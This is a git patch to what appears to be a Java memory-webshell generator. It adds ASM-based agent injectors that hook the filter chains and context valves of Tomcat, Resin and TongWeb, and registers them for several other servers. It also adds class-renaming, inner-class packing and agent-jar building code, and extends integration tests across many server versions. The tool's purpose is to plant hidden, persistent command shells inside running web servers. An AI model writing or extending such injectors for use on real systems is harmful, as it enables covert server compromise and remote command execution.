From 65414fcdd67eebc532ba193d5b4430aca14d1694 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 27 Mar 2025 22:03:55 +0800 Subject: [PATCH] feat: support command agent with asm on filterChain and contextValve (#51) --- bom/build.gradle | 1 + .../javaweb/asm/InnerClassDiscovery.java | 70 ++++++++ .../buddy/ClassRenameVisitorWrapper.java | 62 +++++++ generator/build.gradle | 1 + .../javaweb/memshell/MemShellGenerator.java | 7 +- .../com/reajason/javaweb/memshell/Server.java | 2 + .../reajason/javaweb/memshell/ShellType.java | 2 + .../memshell/config/GenerateResult.java | 5 +- .../memshell/generator/InjectorGenerator.java | 49 +++++- .../memshell/packer/jar/AgentJarPacker.java | 14 +- .../memshell/server/GlassFishShell.java | 4 + .../memshell/server/InforSuiteShell.java | 4 + .../javaweb/memshell/server/JbossShell.java | 4 + .../javaweb/memshell/server/ResinShell.java | 6 +- .../javaweb/memshell/server/TomcatShell.java | 2 + .../memshell/server/TongWeb6Shell.java | 2 + .../memshell/server/TongWeb7Shell.java | 2 + .../generator/InjectorGeneratorTest.java | 32 ++++ .../glassfish/GlassFish3ContainerTest.java | 8 +- .../glassfish/GlassFish4ContainerTest.java | 8 +- .../glassfish/GlassFish501ContainerTest.java | 8 +- .../glassfish/GlassFish510ContainerTest.java | 8 +- .../glassfish/GlassFish6ContainerTest.java | 8 +- .../glassfish/GlassFish7ContainerTest.java | 8 +- .../jbossas/Jboss423ContainerTest.java | 9 +- .../jbossas/Jboss510ContainerTest.java | 9 +- .../jbossas/Jboss610ContainerTest.java | 9 +- .../jbossas/Jboss711ContainerTest.java | 8 +- .../resin/Resin3116ContainerTest.java | 6 +- .../resin/Resin318ContainerTest.java | 6 +- .../resin/Resin4058ContainerTest.java | 6 +- .../resin/Resin4067ContainerTest.java | 6 +- .../tomcat/Tomcat10ContainerTest.java | 12 +- .../tomcat/Tomcat11ContainerTest.java | 12 +- .../tomcat/Tomcat11JRE21ContainerTest.java | 12 +- .../tomcat/Tomcat5ContainerTest.java | 5 +- .../tomcat/Tomcat6ContainerTest.java | 10 +- .../tomcat/Tomcat7ContainerTest.java | 11 +- .../tomcat/Tomcat8ContainerTest.java | 11 +- .../tomcat/Tomcat9ContainerTest.java | 11 +- memshell/build.gradle | 1 + .../ResinFilterChainAgentWithAsmInjector.java | 96 +++++++++++ ...omcatContextValveAgentWithAsmInjector.java | 97 +++++++++++ ...TomcatFilterChainAgentWithAsmInjector.java | 96 +++++++++++ ...ngWebContextValveAgentWithAsmInjector.java | 99 +++++++++++ ...ongWebFilterChainAgentWithAsmInjector.java | 98 +++++++++++ .../CommandFilterChainAsmMethodVisitor.java | 159 ++++++++++++++++++ 47 files changed, 1060 insertions(+), 46 deletions(-) create mode 100644 common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java create mode 100644 common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java diff --git a/bom/build.gradle b/bom/build.gradle index 5daf95a5..746a2b90 100644 --- a/bom/build.gradle +++ b/bom/build.gradle @@ -5,6 +5,7 @@ plugins { dependencies { constraints { api 'net.bytebuddy:byte-buddy:1.+' + api 'org.ow2.asm:asm-commons:9.7.1' api 'javax.servlet:javax.servlet-api:3.0.1' api 'jakarta.servlet:jakarta.servlet-api:6.0.0' diff --git a/common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java b/common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java new file mode 100644 index 00000000..947e8da7 --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java @@ -0,0 +1,70 @@ +package com.reajason.javaweb.asm; + +import lombok.Getter; +import net.bytebuddy.jar.asm.ClassReader; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.Opcodes; + +import java.io.IOException; +import java.io.InputStream; +import java.util.HashSet; +import java.util.Set; + +public class InnerClassDiscovery { + + /** + * Discovers all inner classes for a given class + * + * @param originalClass The class to discover inner classes for + * @return A set of fully qualified inner class names + */ + public static Set findAllInnerClasses(Class originalClass) throws IOException { + Set innerClasses; + String resourceName = originalClass.getName().replace('.', '/') + ".class"; + try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) { + if (is == null) { + throw new IOException("Could not find class file for " + originalClass.getName()); + } + + ClassReader reader = new ClassReader(is); + InnerClassCollector collector = new InnerClassCollector(originalClass.getName()); + reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES); + + innerClasses = new HashSet<>(collector.getInnerClasses()); + } + try { + for (Class innerClass : originalClass.getDeclaredClasses()) { + innerClasses.add(innerClass.getName()); + innerClasses.addAll(findAllInnerClasses(innerClass)); + } + } catch (SecurityException ignored) { + } + + return innerClasses; + } + + private static class InnerClassCollector extends ClassVisitor { + private final String originalClassName; + @Getter + private final Set innerClasses = new HashSet<>(); + + public InnerClassCollector(String originalClassName) { + super(Opcodes.ASM9); + this.originalClassName = originalClassName.replace('/', '.'); + } + + @Override + public void visitInnerClass(String name, String outerName, String innerName, int access) { + String className = name.replace('/', '.'); + if (outerName != null) { + String outerClassName = outerName.replace('/', '.'); + if (outerClassName.equals(originalClassName)) { + innerClasses.add(className); + } + } else if (className.startsWith(originalClassName + "$")) { + innerClasses.add(className); + } + } + + } +} \ No newline at end of file diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java b/common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java new file mode 100644 index 00000000..2507627a --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.commons.ClassRemapper; +import net.bytebuddy.jar.asm.commons.Remapper; +import net.bytebuddy.pool.TypePool; +import org.jetbrains.annotations.NotNull; + +/** + * @author ReaJason + * @since 2025/3/27 + */ +public class ClassRenameVisitorWrapper implements AsmVisitorWrapper { + public final String originalClassName; + public final String newClassName; + + public ClassRenameVisitorWrapper(String originalClassName, String newClassName) { + this.originalClassName = originalClassName.replace('.', '/'); + this.newClassName = newClassName.replace('.', '/'); + } + + + @Override + public int mergeReader(int flags) { + return flags; + } + + @Override + public int mergeWriter(int flags) { + return flags; + } + + @NotNull + @Override + public ClassVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull ClassVisitor classVisitor, + @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, + @NotNull FieldList fields, + @NotNull MethodList methods, + int writerFlags, + int readerFlags) { + return new ClassRemapper( + classVisitor, + new Remapper() { + @Override + public String map(String typeName) { + if (typeName.startsWith(originalClassName)) { + return typeName.replaceFirst(originalClassName, newClassName); + } else { + return typeName; + } + } + }); + } +} diff --git a/generator/build.gradle b/generator/build.gradle index f1dcdd81..a767cd67 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -24,6 +24,7 @@ dependencies { implementation project(":memshell") implementation project(":memshell-java8") implementation 'net.bytebuddy:byte-buddy' + implementation 'org.ow2.asm:asm-commons' implementation 'javax.servlet:javax.servlet-api' implementation 'javax.websocket:javax.websocket-api' diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index d5d2e56e..9f70e85c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -7,6 +7,8 @@ import com.reajason.javaweb.memshell.utils.CommonUtil; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; +import java.util.Map; + /** * @author ReaJason * @since 2024/11/24 @@ -48,7 +50,9 @@ public class MemShellGenerator { injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassBytes(shellBytes); - byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); + InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); + byte[] injectorBytes = injectorGenerator.generate(); + Map innerClassBytes = injectorGenerator.getInnerClassBytes(); return GenerateResult.builder() .shellConfig(shellConfig) @@ -58,6 +62,7 @@ public class MemShellGenerator { .shellBytes(shellBytes) .injectorClassName(injectorConfig.getInjectorClassName()) .injectorBytes(injectorBytes) + .injectorInnerClassBytes(innerClassBytes) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index ebc8c203..239c8914 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -227,7 +227,9 @@ public enum Server { .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 3eb9243b..32c6d2c0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -21,7 +21,9 @@ public class ShellType { public static final String AGENT = "Agent"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; + public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; + public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM"; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java index e95adf9e..e44d5c2a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java @@ -6,6 +6,8 @@ import lombok.Data; import lombok.NoArgsConstructor; import org.apache.commons.codec.binary.Base64; +import java.util.Map; + /** * @author ReaJason * @since 2024/11/24 @@ -21,6 +23,7 @@ public class GenerateResult { private String shellBytesBase64Str; private String injectorClassName; private transient byte[] injectorBytes; + private transient Map injectorInnerClassBytes; private long injectorSize; private String injectorBytesBase64Str; private ShellConfig shellConfig; @@ -38,7 +41,7 @@ public class GenerateResult { injectorSize = injectorBytes.length; } return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, - injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); + injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java index af194ede..a83ddf53 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java @@ -1,20 +1,22 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.asm.InnerClassDiscovery; +import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.ClassFileLocator; import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.dynamic.scaffold.TypeValidation; import net.bytebuddy.implementation.FixedValue; +import net.bytebuddy.pool.TypePool; import org.apache.commons.codec.binary.Base64; -import java.util.Objects; +import java.util.*; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -34,10 +36,13 @@ public class InjectorGenerator { @SneakyThrows public DynamicType.Builder getBuilder() { String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())); + String originalClassName = injectorConfig.getInjectorClass().getName(); + String newClassName = injectorConfig.getInjectorClassName(); + DynamicType.Builder builder = new ByteBuddy() .redefine(injectorConfig.getInjectorClass()) - .name(injectorConfig.getInjectorClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) + .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName)) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); @@ -56,6 +61,38 @@ public class InjectorGenerator { return builder; } + @SneakyThrows + public Map getInnerClassBytes() { + Set innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass()); + if (innerClassNames.isEmpty()) { + return Collections.emptyMap(); + } + + String originalClassName = injectorConfig.getInjectorClass().getName(); + String newClassName = injectorConfig.getInjectorClassName(); + + ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader()); + TypePool typePool = TypePool.Default.of(classFileLocator); + + Map bytes = new HashMap<>(); + for (String innerClassName : innerClassNames) { + TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve(); + String newInnerClassName = innerClassName.replace(originalClassName, newClassName); + DynamicType.Builder innerBuilder = new ByteBuddy() + .with(TypeValidation.DISABLED) + .redefine(innerTypeDesc, classFileLocator) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) + .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName)); + + try (DynamicType.Unloaded unloaded = innerBuilder.make()) { + for (Map.Entry entry : unloaded.getAllTypes().entrySet()) { + bytes.put(newInnerClassName, entry.getValue()); + } + } + } + return bytes; + } + @SneakyThrows public byte[] generate() { DynamicType.Builder builder = getBuilder(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java index 91592189..7fd788f4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import org.apache.commons.io.IOUtils; +import org.objectweb.asm.Opcodes; import java.io.ByteArrayOutputStream; import java.io.File; @@ -13,6 +14,7 @@ import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import java.util.Enumeration; +import java.util.Map; import java.util.jar.JarEntry; import java.util.jar.JarFile; import java.util.jar.JarOutputStream; @@ -40,7 +42,11 @@ public class AgentJarPacker implements JarPacker { manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) { - addDependency(targetJar, ByteBuddy.class); + if (generateResult.getShellConfig().getShellType().endsWith("ASM")) { + addDependency(targetJar, Opcodes.class); + } else { + addDependency(targetJar, ByteBuddy.class); + } targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class")); targetJar.write(generateResult.getInjectorBytes()); @@ -49,6 +55,12 @@ public class AgentJarPacker implements JarPacker { targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class")); targetJar.write(generateResult.getShellBytes()); targetJar.closeEntry(); + + for (Map.Entry entry : generateResult.getInjectorInnerClassBytes().entrySet()) { + targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class")); + targetJar.write(entry.getValue()); + targetJar.closeEntry(); + } } return byteArrayOutputStream.toByteArray(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index 62f6473d..a3d8aa8d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -49,7 +51,9 @@ public class GlassFishShell extends AbstractShell { .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java index 333cc8ed..449678a7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -29,7 +31,9 @@ public class InforSuiteShell extends AbstractShell { .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java index 355a49ff..7ac7ff04 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -26,7 +28,9 @@ public class JbossShell extends AbstractShell { .addInjector(LISTENER, JbossListenerInjector.class) .addInjector(VALVE, JbossValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java index e89a63d6..c7fb4d3f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector; -import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector; -import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector; +import com.reajason.javaweb.memshell.injector.resin.*; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -35,6 +32,7 @@ public class ResinShell extends AbstractShell { .addInjector(FILTER, ResinFilterInjector.class) .addInjector(LISTENER, ResinListenerInjector.class) .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index ea8fa840..08493e1a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -42,7 +42,9 @@ public class TomcatShell extends AbstractShell { .addInjector(VALVE, TomcatValveInjector.class) .addInjector(JAKARTA_VALVE, TomcatValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java index 7af4008b..0b6dc537 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java @@ -25,7 +25,9 @@ public class TongWeb6Shell extends AbstractShell { .addInjector(VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java index 884178df..3f8b885c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java @@ -25,7 +25,9 @@ public class TongWeb7Shell extends AbstractShell { .addInjector(VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java new file mode 100644 index 00000000..39c3d00b --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; +import org.junit.jupiter.api.Test; + +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2025/3/27 + */ +class InjectorGeneratorTest { + + @Test + void testAsm() { + InjectorConfig injectorConfig = InjectorConfig.builder() + .shellClassBytes("hello".getBytes()) + .shellClassName("hello") + .injectorClass(TomcatFilterChainAgentWithAsmInjector.class) + .build(); + InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig); +// injectorGenerator.generate(); + Map innerClassBytes = injectorGenerator.getInnerClassBytes(); + assertEquals(2, innerClassBytes.size()); + innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName()))); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index e084cc87..490cc5c5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -57,7 +57,13 @@ public class GlassFish3ContainerTest { static Stream casesProvider() { Server server = Server.GlassFish; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List> unSupportedCases = List.of( Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java 